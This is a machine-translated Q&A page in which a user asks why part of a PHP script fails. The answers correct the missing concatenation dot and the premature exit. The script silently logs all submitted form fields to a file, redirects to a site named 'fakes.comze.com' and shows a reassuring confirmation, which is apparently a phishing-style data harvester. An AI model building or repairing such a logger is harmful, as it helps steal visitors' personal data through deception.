无法得到我的PHP工作的最后一部分

时间:2014-07-27 02:00:08

标签: php html confirmation

第一个php工作完美无缺,但第二个php似乎正在经历基本上我希望我的客户能够回复一个回声,说明这里的第二个代码是什么代码。

<?php
header ('Location: http://www.fakes.comze.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

<?php 
    $First_Name = $_POST["First Name"];
    echo "Hello , " . $First_Name "Information recived. Confirmation will be sent within the next 24 hours.";

?>  

3 个答案:

答案 0 :(得分:2)

exit或错过的连接运算符都不会影响浏览器在此实例中的行为方式。浏览器将重定向到http://www.fakes.comze.com而不打印消息。

您必须让http://www.fakes.comze.com处的脚本知道您希望它显示一些消息。或者添加一些重定向倒计时器。

如果您选择使用此选项,这是一个可以帮助您的页面。

Redirect 10 second Countdown

答案 1 :(得分:1)

你有一行“退出”;在文件写入之后,因此代码的第二部分将永远不会执行。 而且还错过了一个'。'在$ First_Name之后连接字符串。

事实上,你可以这样写:

echo "Hello , " . $_POST["First Name"] . "Information recived. Confirmation will be sent within the next 24 hours.";

这将保存变量用法。

答案 2 :(得分:0)

$First_Name . "Information
你忘了点。

啊,是的,感谢@ hjpotter92:删除exit;